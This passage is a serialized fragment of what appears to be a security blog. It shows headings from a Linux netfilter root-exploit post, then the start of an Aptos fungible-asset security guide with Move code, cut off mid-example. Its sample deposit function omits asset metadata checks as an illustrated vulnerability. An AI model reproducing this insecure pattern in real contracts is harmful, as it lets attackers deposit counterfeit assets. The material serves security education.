live.",{"type":22,"tag":4139,"props":62197,"children":62198},{},[62199],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":62201},[62202,62205,62208,62211,62212,62222,62230,62231],{"id":51888,"depth":1545,"text":51891,"children":62203},[62204],{"id":51909,"depth":1560,"text":51912},{"id":51952,"depth":1545,"text":51952,"children":62206},[62207],{"id":51999,"depth":1560,"text":52002},{"id":52057,"depth":1545,"text":52060,"children":62209},[62210],{"id":53220,"depth":1560,"text":53223},{"id":55095,"depth":1545,"text":55098},{"id":55497,"depth":1545,"text":55500,"children":62213},[62214,62215,62216,62218,62219,62220,62221],{"id":55524,"depth":1560,"text":55527},{"id":56406,"depth":1560,"text":56409},{"id":56992,"depth":1560,"text":62217},"Leaking self pointer of nft_object",{"id":57389,"depth":1560,"text":57392},{"id":57903,"depth":1560,"text":57906},{"id":58033,"depth":1560,"text":57690},{"id":58717,"depth":1560,"text":58720},{"id":58740,"depth":1545,"text":58743,"children":62223},[62224,62225,62226,62227,62229],{"id":58751,"depth":1560,"text":58754},{"id":59609,"depth":1560,"text":59612},{"id":59685,"depth":1560,"text":59688},{"id":61310,"depth":1560,"text":62228},"Overwriting modprobe_path",{"id":62127,"depth":1560,"text":62130},{"id":62145,"depth":1545,"text":62148},{"id":30246,"depth":1545,"text":20252},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":62236,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":62237,"description":62238,"image":62239,"date":62241,"isFeatured":17,"onBlogPage":17,"tags":62242,"body":62243,"_type":4157,"_id":68961,"_source":4159,"_file":68962,"_stem":68963,"_extension":4162},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":62240,"width":6677,"height":6678},"/posts/aptos-guide/title.png","2025-02-10",[7171],{"type":19,"children":62244,"toc":68945},[62245,62258,62263,62272,62278,62306,62379,62419,62453,62614,62633,62714,62754,62782,62799,62804,62812,62817,62823,62844,62924,62957,62965,62978,62983,63367,63372,63377,63383,63388,63400,63504,63542,63545,63563,63871,63876,63888,63894,63920,63941,63946,64125,64145,64151,64171,64183,64188,64194,64206,64269,64296,64320,64541,64544,64563,64673,64730,64866,64893,64899,64925,65169,65197,65499,65532,65546,65572,65605,65912,65924,66201,66215,66532,66551,66557,66589,66629,66730,66750,66870,66887,66961,66973,67061,67082,67088,67093,67098,67115,67136,67507,67566,67571,68022,68027,68063,68069,68081,68103,68129,68336,68350,68605,68617,68644,68795,68814,68844,68848,68859,68864,68877,68941],{"type":22,"tag":23,"props":62246,"children":62247},{},[62248,62250,62256],{"type":27,"value":62249},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":22,"tag":257,"props":62251,"children":62253},{"className":62252},[],[62254],{"type":27,"value":62255},"coin",{"type":27,"value":62257}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":22,"tag":23,"props":62259,"children":62260},{},[62261],{"type":27,"value":62262},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":22,"tag":62264,"props":62265,"children":62266},"important",{},[62267],{"type":22,"tag":23,"props":62268,"children":62269},{},[62270],{"type":27,"value":62271},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":22,"tag":169,"props":62273,"children":62275},{"id":62274},"aptos-coin-standard",[62276],{"type":27,"value":62277},"Aptos Coin standard",{"type":22,"tag":23,"props":62279,"children":62280},{},[62281,62283,62289,62291,62296,62297,62304],{"type":27,"value":62282},"In the beginning, Aptos used ",{"type":22,"tag":257,"props":62284,"children":62286},{"className":62285},[],[62287],{"type":27,"value":62288},"Coin",{"type":27,"value":62290},". It is still in use, although it is now considered \"legacy\". ",{"type":22,"tag":257,"props":62292,"children":62294},{"className":62293},[],[62295],{"type":27,"value":62288},{"type":27,"value":6791},{"type":22,"tag":69,"props":62298,"children":62301},{"href":62299,"rel":62300},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[73],[62302],{"type":27,"value":62303},"defined",{"type":27,"value":62305}," in Aptos as follows:",{"type":22,"tag":618,"props":62307,"children":62309},{"className":4274,"code":62308,"language":4273,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[62310],{"type":22,"tag":257,"props":62311,"children":62312},{"__ignoreMap":7},[62313,62352,62372],{"type":22,"tag":264,"props":62314,"children":62315},{"class":1534,"line":1535},[62316,62320,62324,62328,62332,62336,62340,62344,62348],{"type":22,"tag":264,"props":62317,"children":62318},{"style":4293},[62319],{"type":27,"value":10699},{"type":22,"tag":264,"props":62321,"children":62322},{"style":4722},[62323],{"type":27,"value":7092},{"type":22,"tag":264,"props":62325,"children":62326},{"style":1539},[62327],{"type":27,"value":7097},{"type":22,"tag":264,"props":62329,"children":62330},{"style":1549},[62331],{"type":27,"value":7102},{"type":22,"tag":264,"props":62333,"children":62334},{"style":4722},[62335],{"type":27,"value":7107},{"type":22,"tag":264,"props":62337,"children":62338},{"style":1539},[62339],{"type":27,"value":7112},{"type":22,"tag":264,"props":62341,"children":62342},{"style":1549},[62343],{"type":27,"value":7117},{"type":22,"tag":264,"props":62345,"children":62346},{"style":1549},[62347],{"type":27,"value":7122},{"type":22,"tag":264,"props":62349,"children":62350},{"style":1539},[62351],{"type":27,"value":4594},{"type":22,"tag":264,"props":62353,"children":62354},{"class":1534,"line":1545},[62355,62360,62364,62368],{"type":22,"tag":264,"props":62356,"children":62357},{"style":1549},[62358],{"type":27,"value":62359},"    value",{"type":22,"tag":264,"props":62361,"children":62362},{"style":4309},[62363],{"type":27,"value":5785},{"type":22,"tag":264,"props":62365,"children":62366},{"style":4722},[62367],{"type":27,"value":7151},{"type":22,"tag":264,"props":62369,"children":62370},{"style":1539},[62371],{"type":27,"value":4812},{"type":22,"tag":264,"props":62373,"children":62374},{"class":1534,"line":1560},[62375],{"type":22,"tag":264,"props":62376,"children":62377},{"style":1539},[62378],{"type":27,"value":1692},{"type":22,"tag":23,"props":62380,"children":62381},{},[62382,62384,62389,62391,62397,62398,62404,62406,62411,62413,62418],{"type":27,"value":62383},"Aptos distinguishes coins by their type (",{"type":22,"tag":257,"props":62385,"children":62387},{"className":62386},[],[62388],{"type":27,"value":7876},{"type":27,"value":62390},") at compile time. For example, ",{"type":22,"tag":257,"props":62392,"children":62394},{"className":62393},[],[62395],{"type":27,"value":62396},"Coin\u003COtter>",{"type":27,"value":12290},{"type":22,"tag":257,"props":62399,"children":62401},{"className":62400},[],[62402],{"type":27,"value":62403},"Coin\u003CWeasel>",{"type":27,"value":62405}," represent different coins, and you cannot pass a ",{"type":22,"tag":257,"props":62407,"children":62409},{"className":62408},[],[62410],{"type":27,"value":62403},{"type":27,"value":62412}," to a function expecting ",{"type":22,"tag":257,"props":62414,"children":62416},{"className":62415},[],[62417],{"type":27,"value":62396},{"type":27,"value":210},{"type":22,"tag":23,"props":62420,"children":62421},{},[62422,62424,62429,62431,62436,62438,62443,62445,62451],{"type":27,"value":62423},"The type signature reveals why ",{"type":22,"tag":257,"props":62425,"children":62427},{"className":62426},[],[62428],{"type":27,"value":62288},{"type":27,"value":62430}," has become a legacy standard. ",{"type":22,"tag":257,"props":62432,"children":62434},{"className":62433},[],[62435],{"type":27,"value":62288},{"type":27,"value":62437}," has only the ",{"type":22,"tag":257,"props":62439,"children":62441},{"className":62440},[],[62442],{"type":27,"value":7232},{"type":27,"value":62444}," ability and uses a ",{"type":22,"tag":257,"props":62446,"children":62448},{"className":62447},[],[62449],{"type":27,"value":62450},"CoinStore",{"type":27,"value":62452}," wrapper to store the coin and metadata:",{"type":22,"tag":618,"props":62454,"children":62456},{"className":4274,"code":62455,"language":4273,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[62457],{"type":22,"tag":257,"props":62458,"children":62459},{"__ignoreMap":7},[62460,62500,62528,62548,62578,62607],{"type":22,"tag":264,"props":62461,"children":62462},{"class":1534,"line":1535},[62463,62467,62472,62476,62480,62484,62488,62492,62496],{"type":22,"tag":264,"props":62464,"children":62465},{"style":4293},[62466],{"type":27,"value":10699},{"type":22,"tag":264,"props":62468,"children":62469},{"style":4722},[62470],{"type":27,"value":62471}," CoinStore",{"type":22,"tag":264,"props":62473,"children":62474},{"style":1539},[62475],{"type":27,"value":7097},{"type":22,"tag":264,"props":62477,"children":62478},{"style":1549},[62479],{"type":27,"value":7102},{"type":22,"tag":264,"props":62481,"children":62482},{"style":4722},[62483],{"type":27,"value":7107},{"type":22,"tag":264,"props":62485,"children":62486},{"style":1539},[62487],{"type":27,"value":7112},{"type":22,"tag":264,"props":62489,"children":62490},{"style":1549},[62491],{"type":27,"value":7117},{"type":22,"tag":264,"props":62493,"children":62494},{"style":1549},[62495],{"type":27,"value":7223},{"type":22,"tag":264,"props":62497,"children":62498},{"style":1539},[62499],{"type":27,"value":4594},{"type":22,"tag":264,"props":62501,"children":62502},{"class":1534,"line":1545},[62503,62508,62512,62516,62520,62524],{"type":22,"tag":264,"props":62504,"children":62505},{"style":1549},[62506],{"type":27,"value":62507},"    coin",{"type":22,"tag":264,"props":62509,"children":62510},{"style":4309},[62511],{"type":27,"value":5785},{"type":22,"tag":264,"props":62513,"children":62514},{"style":4722},[62515],{"type":27,"value":7092},{"type":22,"tag":264,"props":62517,"children":62518},{"style":1539},[62519],{"type":27,"value":7097},{"type":22,"tag":264,"props":62521,"children":62522},{"style":4722},[62523],{"type":27,"value":7876},{"type":22,"tag":264,"props":62525,"children":62526},{"style":1539},[62527],{"type":27,"value":7430},{"type":22,"tag":264,"props":62529,"children":62530},{"class":1534,"line":1560},[62531,62536,62540,62544],{"type":22,"tag":264,"props":62532,"children":62533},{"style":1549},[62534],{"type":27,"value":62535},"    frozen",{"type":22,"tag":264,"props":62537,"children":62538},{"style":4309},[62539],{"type":27,"value":5785},{"type":22,"tag":264,"props":62541,"children":62542},{"style":4722},[62543],{"type":27,"value":13349},{"type":22,"tag":264,"props":62545,"children":62546},{"style":1539},[62547],{"type":27,"value":4812},{"type":22,"tag":264,"props":62549,"children":62550},{"class":1534,"line":1569},[62551,62556,62560,62565,62569,62574],{"type":22,"tag":264,"props":62552,"children":62553},{"style":1549},[62554],{"type":27,"value":62555},"    deposit_events",{"type":22,"tag":264,"props":62557,"children":62558},{"style":4309},[62559],{"type":27,"value":5785},{"type":22,"tag":264,"props":62561,"children":62562},{"style":4722},[62563],{"type":27,"value":62564}," EventHandle",{"type":22,"tag":264,"props":62566,"children":62567},{"style":1539},[62568],{"type":27,"value":7097},{"type":22,"tag":264,"props":62570,"children":62571},{"style":4722},[62572],{"type":27,"value":62573},"DepositEvent",{"type":22,"tag":264,"props":62575,"children":62576},{"style":1539},[62577],{"type":27,"value":7430},{"type":22,"tag":264,"props":62579,"children":62580},{"class":1534,"line":1583},[62581,62586,62590,62594,62598,62603],{"type":22,"tag":264,"props":62582,"children":62583},{"style":1549},[62584],{"type":27,"value":62585},"    withdraw_events",{"type":22,"tag":264,"props":62587,"children":62588},{"style":4309},[62589],{"type":27,"value":5785},{"type":22,"tag":264,"props":62591,"children":62592},{"style":4722},[62593],{"type":27,"value":62564},{"type":22,"tag":264,"props":62595,"children":62596},{"style":1539},[62597],{"type":27,"value":7097},{"type":22,"tag":264,"props":62599,"children":62600},{"style":4722},[62601],{"type":27,"value":62602},"WithdrawEvent",{"type":22,"tag":264,"props":62604,"children":62605},{"style":1539},[62606],{"type":27,"value":7430},{"type":22,"tag":264,"props":62608,"children":62609},{"class":1534,"line":1603},[62610],{"type":22,"tag":264,"props":62611,"children":62612},{"style":1539},[62613],{"type":27,"value":1692},{"type":22,"tag":23,"props":62615,"children":62616},{},[62617,62619,62624,62626,62631],{"type":27,"value":62618},"However, an astute reader would note that this isn't the only place a ",{"type":22,"tag":257,"props":62620,"children":62622},{"className":62621},[],[62623],{"type":27,"value":62288},{"type":27,"value":62625}," can be stored. You can create your own ",{"type":22,"tag":257,"props":62627,"children":62629},{"className":62628},[],[62630],{"type":27,"value":62288},{"type":27,"value":62632}," wallet, which could look like this:",{"type":22,"tag":618,"props":62634,"children":62636},{"className":4274,"code":62635,"language":4273,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[62637],{"type":22,"tag":257,"props":62638,"children":62639},{"__ignoreMap":7},[62640,62680,62707],{"type":22,"tag":264,"props":62641,"children":62642},{"class":1534,"line":1535},[62643,62647,62652,62656,62660,62664,62668,62672,62676],{"type":22,"tag":264,"props":62644,"children":62645},{"style":4293},[62646],{"type":27,"value":10699},{"type":22,"tag":264,"props":62648,"children":62649},{"style":4722},[62650],{"type":27,"value":62651}," DefinitelyLegitCoinStore",{"type":22,"tag":264,"props":62653,"children":62654},{"style":1539},[62655],{"type":27,"value":7097},{"type":22,"tag":264,"props":62657,"children":62658},{"style":1549},[62659],{"type":27,"value":7102},{"type":22,"tag":264,"props":62661,"children":62662},{"style":4722},[62663],{"type":27,"value":7107},{"type":22,"tag":264,"props":62665,"children":62666},{"style":1539},[62667],{"type":27,"value":7112},{"type":22,"tag":264,"props":62669,"children":62670},{"style":1549},[62671],{"type":27,"value":7117},{"type":22,"tag":264,"props":62673,"children":62674},{"style":1549},[62675],{"type":27,"value":7223},{"type":22,"tag":264,"props":62677,"children":62678},{"style":1539},[62679],{"type":27,"value":4594},{"type":22,"tag":264,"props":62681,"children":62682},{"class":1534,"line":1545},[62683,62687,62691,62695,62699,62703],{"type":22,"tag":264,"props":62684,"children":62685},{"style":1549},[62686],{"type":27,"value":62507},{"type":22,"tag":264,"props":62688,"children":62689},{"style":4309},[62690],{"type":27,"value":5785},{"type":22,"tag":264,"props":62692,"children":62693},{"style":4722},[62694],{"type":27,"value":7092},{"type":22,"tag":264,"props":62696,"children":62697},{"style":1539},[62698],{"type":27,"value":7097},{"type":22,"tag":264,"props":62700,"children":62701},{"style":4722},[62702],{"type":27,"value":7876},{"type":22,"tag":264,"props":62704,"children":62705},{"style":1539},[62706],{"type":27,"value":7284},{"type":22,"tag":264,"props":62708,"children":62709},{"class":1534,"line":1560},[62710],{"type":22,"tag":264,"props":62711,"children":62712},{"style":1539},[62713],{"type":27,"value":1692},{"type":22,"tag":23,"props":62715,"children":62716},{},[62717,62722,62724,62730,62732,62737,62739,62745,62747,62752],{"type":22,"tag":257,"props":62718,"children":62720},{"className":62719},[],[62721],{"type":27,"value":62450},{"type":27,"value":62723}," includes a ",{"type":22,"tag":257,"props":62725,"children":62727},{"className":62726},[],[62728],{"type":27,"value":62729},"frozen",{"type":27,"value":62731}," field, allowing the issuer to block transfers to and from the store. ",{"type":22,"tag":257,"props":62733,"children":62735},{"className":62734},[],[62736],{"type":27,"value":62450},{"type":27,"value":62738}," is also required for a ",{"type":22,"tag":257,"props":62740,"children":62742},{"className":62741},[],[62743],{"type":27,"value":62744},"burn_from",{"type":27,"value":62746}," operation, which withdraws the ",{"type":22,"tag":257,"props":62748,"children":62750},{"className":62749},[],[62751],{"type":27,"value":62255},{"type":27,"value":62753}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":22,"tag":23,"props":62755,"children":62756},{},[62757,62759,62764,62766,62773,62775,62780],{"type":27,"value":62758},"Storing ",{"type":22,"tag":257,"props":62760,"children":62762},{"className":62761},[],[62763],{"type":27,"value":62255},{"type":27,"value":62765}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":22,"tag":69,"props":62767,"children":62770},{"href":62768,"rel":62769},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[73],[62771],{"type":27,"value":62772},"AIP-21",{"type":27,"value":62774}," summarizes the ",{"type":22,"tag":257,"props":62776,"children":62778},{"className":62777},[],[62779],{"type":27,"value":62255},{"type":27,"value":62781}," problems:",{"type":22,"tag":4226,"props":62783,"children":62784},{},[62785,62794],{"type":22,"tag":23,"props":62786,"children":62787},{},[62788,62792],{"type":22,"tag":264,"props":62789,"children":62790},{},[62791],{"type":27,"value":10889},{"type":27,"value":62793}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":22,"tag":23,"props":62795,"children":62796},{},[62797],{"type":27,"value":62798},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":22,"tag":23,"props":62800,"children":62801},{},[62802],{"type":27,"value":62803},"And declares, that:",{"type":22,"tag":4226,"props":62805,"children":62806},{},[62807],{"type":22,"tag":23,"props":62808,"children":62809},{},[62810],{"type":27,"value":62811},"Fungible assets addresses these issues.",{"type":22,"tag":23,"props":62813,"children":62814},{},[62815],{"type":27,"value":62816},"Let's find out whether this is indeed the case.",{"type":22,"tag":169,"props":62818,"children":62820},{"id":62819},"the-fungible-assets",[62821],{"type":27,"value":62822},"The fungible assets",{"type":22,"tag":23,"props":62824,"children":62825},{},[62826,62828,62834,62836,62843],{"type":27,"value":62827},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":22,"tag":257,"props":62829,"children":62831},{"className":62830},[],[62832],{"type":27,"value":62833},"FungibleAsset",{"type":27,"value":62835}," uses the ",{"type":22,"tag":69,"props":62837,"children":62840},{"href":62838,"rel":62839},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[73],[62841],{"type":27,"value":62842},"hot-potato pattern",{"type":27,"value":5785},{"type":22,"tag":618,"props":62845,"children":62847},{"className":4274,"code":62846,"language":4273,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[62848],{"type":22,"tag":257,"props":62849,"children":62850},{"__ignoreMap":7},[62851,62867,62897,62917],{"type":22,"tag":264,"props":62852,"children":62853},{"class":1534,"line":1535},[62854,62858,62863],{"type":22,"tag":264,"props":62855,"children":62856},{"style":4293},[62857],{"type":27,"value":10699},{"type":22,"tag":264,"props":62859,"children":62860},{"style":4722},[62861],{"type":27,"value":62862}," FungibleAsset",{"type":22,"tag":264,"props":62864,"children":62865},{"style":1539},[62866],{"type":27,"value":4594},{"type":22,"tag":264,"props":62868,"children":62869},{"class":1534,"line":1545},[62870,62875,62879,62884,62888,62893],{"type":22,"tag":264,"props":62871,"children":62872},{"style":1549},[62873],{"type":27,"value":62874},"    metadata",{"type":22,"tag":264,"props":62876,"children":62877},{"style":4309},[62878],{"type":27,"value":5785},{"type":22,"tag":264,"props":62880,"children":62881},{"style":4722},[62882],{"type":27,"value":62883}," Object",{"type":22,"tag":264,"props":62885,"children":62886},{"style":1539},[62887],{"type":27,"value":7097},{"type":22,"tag":264,"props":62889,"children":62890},{"style":4722},[62891],{"type":27,"value":62892},"Metadata",{"type":22,"tag":264,"props":62894,"children":62895},{"style":1539},[62896],{"type":27,"value":7430},{"type":22,"tag":264,"props":62898,"children":62899},{"class":1534,"line":1560},[62900,62905,62909,62913],{"type":22,"tag":264,"props":62901,"children":62902},{"style":1549},[62903],{"type":27,"value":62904},"    amount",{"type":22,"tag":264,"props":62906,"children":62907},{"style":4309},[62908],{"type":27,"value":5785},{"type":22,"tag":264,"props":62910,"children":62911},{"style":4722},[62912],{"type":27,"value":7151},{"type":22,"tag":264,"props":62914,"children":62915},{"style":1539},[62916],{"type":27,"value":4812},{"type":22,"tag":264,"props":62918,"children":62919},{"class":1534,"line":1569},[62920],{"type":22,"tag":264,"props":62921,"children":62922},{"style":1539},[62923],{"type":27,"value":1692},{"type":22,"tag":23,"props":62925,"children":62926},{},[62927,62929,62934,62935,62940,62942,62947,62949,62956],{"type":27,"value":62928},"Unlike ",{"type":22,"tag":257,"props":62930,"children":62932},{"className":62931},[],[62933],{"type":27,"value":62288},{"type":27,"value":4380},{"type":22,"tag":257,"props":62936,"children":62938},{"className":62937},[],[62939],{"type":27,"value":62833},{"type":27,"value":62941}," types are defined at runtime through the ",{"type":22,"tag":257,"props":62943,"children":62945},{"className":62944},[],[62946],{"type":27,"value":62892},{"type":27,"value":62948}," field. This change was meant to ",{"type":22,"tag":69,"props":62950,"children":62953},{"href":62951,"rel":62952},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[73],[62954],{"type":27,"value":62955},"enhance extensibility",{"type":27,"value":5785},{"type":22,"tag":4226,"props":62958,"children":62959},{},[62960],{"type":22,"tag":23,"props":62961,"children":62962},{},[62963],{"type":27,"value":62964},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":22,"tag":23,"props":62966,"children":62967},{},[62968,62970,62976],{"type":27,"value":62969},"An important implication is that functions accepting ",{"type":22,"tag":257,"props":62971,"children":62973},{"className":62972},[],[62974],{"type":27,"value":62975},"FungibleAssets",{"type":27,"value":62977}," must verify the metadata to ensure valid assets.",{"type":22,"tag":23,"props":62979,"children":62980},{},[62981],{"type":27,"value":62982},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":22,"tag":618,"props":62984,"children":62986},{"className":4274,"code":62985,"language":4273,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[62987],{"type":22,"tag":257,"props":62988,"children":62989},{"__ignoreMap":7},[62990,63027,63065,63089,63101,63109,63154,63188,63218,63225,63262,63269,63307,63314,63360],{"type":22,"tag":264,"props":62991,"children":62992},{"class":1534,"line":1535},[62993,62998,63002,63007,63011,63015,63019,63023],{"type":22,"tag":264,"props":62994,"children":62995},{"style":1549},[62996],{"type":27,"value":62997},"public",{"type":22,"tag":264,"props":62999,"children":63000},{"style":1549},[63001],{"type":27,"value":7499},{"type":22,"tag":264,"props":63003,"children":63004},{"style":1549},[63005],{"type":27,"value":63006}," deposit",{"type":22,"tag":264,"props":63008,"children":63009},{"style":1539},[63010],{"type":27,"value":7097},{"type":22,"tag":264,"props":63012,"children":63013},{"style":4722},[63014],{"type":27,"value":7279},{"type":22,"tag":264,"props":63016,"children":63017},{"style":4309},[63018],{"type":27,"value":5785},{"type":22,"tag":264,"props":63020,"children":63021},{"style":1549},[63022],{"type":27,"value":7223},{"type":22,"tag":264,"props":63024,"children":63025},{"style":1539},[63026],{"type":27,"value":7881},{"type":22,"tag":264,"props":63028,"children":63029},{"class":1534,"line":1545},[63030,63035,63039,63043,63047,63051,63056,63060],{"type":22,"tag":264,"props":63031,"children":63032},{"style":1549},[63033],{"type":27,"value":63034},"    sender",{"type":22,"tag":264,"props":63036,"children":63037},{"style":4309},[63038],{"type":27,"value":5785},{"type":22,"tag":264,"props":63040,"children":63041},{"style":4309},[63042],{"type":27,"value":8434},{"type":22,"tag":264,"props":63044,"children":63045},{"style":1549},[63046],{"type":27,"value":8439},{"type":22,"tag":264,"props":63048,"children":63049},{"style":1539},[63050],{"type":27,"value":4380},{"type":22,"tag":264,"props":63052,"children":63053},{"style":1549},[63054],{"type":27,"value":63055},"fa",{"type":22,"tag":264,"props":63057,"children":63058},{"style":4309},[63059],{"type":27,"value":5785},{"type":22,"tag":264,"props":63061,"children":63062},{"style":4722},[63063],{"type":27,"value":63064}," FungibleAsset\n",{"type":22,"tag":264,"props":63066,"children":63067},{"class":1534,"line":1560},[63068,63072,63076,63080,63084],{"type":22,"tag":264,"props":63069,"children":63070},{"style":1539},[63071],{"type":27,"value":4390},{"type":22,"tag":264,"props":63073,"children":63074},{"style":1549},[63075],{"type":27,"value":7636},{"type":22,"tag":264,"props":63077,"children":63078},{"style":1539},[63079],{"type":27,"value":24333},{"type":22,"tag":264,"props":63081,"children":63082},{"style":4309},[63083],{"type":27,"value":10889},{"type":22,"tag":264,"props":63085,"children":63086},{"style":1539},[63087],{"type":27,"value":63088},"] {\n",{"type":22,"tag":264,"props":63090,"children":63091},{"class":1534,"line":1569},[63092,63097],{"type":22,"tag":264,"props":63093,"children":63094},{"style":4401},[63095],{"type":27,"value":63096},"    assert_not_paused",{"type":22,"tag":264,"props":63098,"children":63099},{"style":1539},[63100],{"type":27,"value":4977},{"type":22,"tag":264,"props":63102,"children":63103},{"class":1534,"line":1583},[63104],{"type":22,"tag":264,"props":63105,"children":63106},{"style":1539},[63107],{"type":27,"value":63108},"    \n",{"type":22,"tag":264,"props":63110,"children":63111},{"class":1534,"line":1603},[63112,63116,63121,63125,63130,63134,63138,63142,63146,63150],{"type":22,"tag":264,"props":63113,"children":63114},{"style":4293},[63115],{"type":27,"value":4296},{"type":22,"tag":264,"props":63117,"children":63118},{"style":1549},[63119],{"type":27,"value":63120}," fa_amount",{"type":22,"tag":264,"props":63122,"children":63123},{"style":4309},[63124],{"type":27,"value":4312},{"type":22,"tag":264,"props":63126,"children":63127},{"style":1539},[63128],{"type":27,"value":63129}," fungible_asset",{"type":22,"tag":264,"props":63131,"children":63132},{"style":4309},[63133],{"type":27,"value":4785},{"type":22,"tag":264,"props":63135,"children":63136},{"style":4401},[63137],{"type":27,"value":21613},{"type":22,"tag":264,"props":63139,"children":63140},{"style":1539},[63141],{"type":27,"value":2660},{"type":22,"tag":264,"props":63143,"children":63144},{"style":4309},[63145],{"type":27,"value":4413},{"type":22,"tag":264,"props":63147,"children":63148},{"style":1549},[63149],{"type":27,"value":63055},{"type":22,"tag":264,"props":63151,"children":63152},{"style":1539},[63153],{"type":27,"value":5142},{"type":22,"tag":264,"props":63155,"children":63156},{"class":1534,"line":1612},[63157,63161,63166,63170,63175,63179,63184],{"type":22,"tag":264,"props":63158,"children":63159},{"style":4293},[63160],{"type":27,"value":4296},{"type":22,"tag":264,"props":63162,"children":63163},{"style":1549},[63164],{"type":27,"value":63165}," sender_address",{"type":22,"tag":264,"props":63167,"children":63168},{"style":4309},[63169],{"type":27,"value":4312},{"type":22,"tag":264,"props":63171,"children":63172},{"style":4401},[63173],{"type":27,"value":63174}," address_of",{"type":22,"tag":264,"props":63176,"children":63177},{"style":1539},[63178],{"type":27,"value":2660},{"type":22,"tag":264,"props":63180,"children":63181},{"style":1549},[63182],{"type":27,"value":63183},"sender",{"type":22,"tag":264,"props":63185,"children":63186},{"style":1539},[63187],{"type":27,"value":5142},{"type":22,"tag":264,"props":63189,"children":63190},{"class":1534,"line":1621},[63191,63196,63200,63205,63209,63214],{"type":22,"tag":264,"props":63192,"children":63193},{"style":4401},[63194],{"type":27,"value":63195},"    check_compliance",{"type":22,"tag":264,"props":63197,"children":63198},{"style":1539},[63199],{"type":27,"value":2660},{"type":22,"tag":264,"props":63201,"children":63202},{"style":1549},[63203],{"type":27,"value":63204},"fa_amount",{"type":22,"tag":264,"props":63206,"children":63207},{"style":1539},[63208],{"type":27,"value":4380},{"type":22,"tag":264,"props":63210,"children":63211},{"style":1549},[63212],{"type":27,"value":63213},"sender_address",{"type":22,"tag":264,"props":63215,"children":63216},{"style":1539},[63217],{"type":27,"value":5142},{"type":22,"tag":264,"props":63219,"children":63220},{"class":1534,"line":1629},[63221],{"type":22,"tag":264,"props":63222,"children":63223},{"style":1539},[63224],{"type":27,"value":63108},{"type":22,"tag":264,"props":63226,"children":63227},{"class":1534,"line":1642},[63228,63233,63237,63242,63246,63250,63254,63258],{"type":22,"tag":264,"props":63229,"children":63230},{"style":4401},[63231],{"type":27,"value":63232},"    increase_deposit",{"type":22,"tag":264,"props":63234,"children":63235},{"style":1539},[63236],{"type":27,"value":2660},{"type":22,"tag":264,"props":63238,"children":63239},{"style":4401},[63240],{"type":27,"value":63241},"get_vault",{"type":22,"tag":264,"props":63243,"children":63244},{"style":1539},[63245],{"type":27,"value":2660},{"type":22,"tag":264,"props":63247,"children":63248},{"style":1549},[63249],{"type":27,"value":63213},{"type":22,"tag":264,"props":63251,"children":63252},{"style":1539},[63253],{"type":27,"value":16477},{"type":22,"tag":264,"props":63255,"children":63256},{"style":1549},[63257],{"type":27,"value":63204},{"type":22,"tag":264,"props":63259,"children":63260},{"style":1539},[63261],{"type":27,"value":5142},{"type":22,"tag":264,"props":63263,"children":63264},{"class":1534,"line":1660},[63265],{"type":22,"tag":264,"props":63266,"children":63267},{"style":1539},[63268],{"type":27,"value":63108},{"type":22,"tag":264,"props":63270,"children":63271},{"class":1534,"line":1668},[63272,63277,63281,63286,63290,63295,63299,63303],{"type":22,"tag":264,"props":63273,"children":63274},{"style":1539},[63275],{"type":27,"value":63276},"    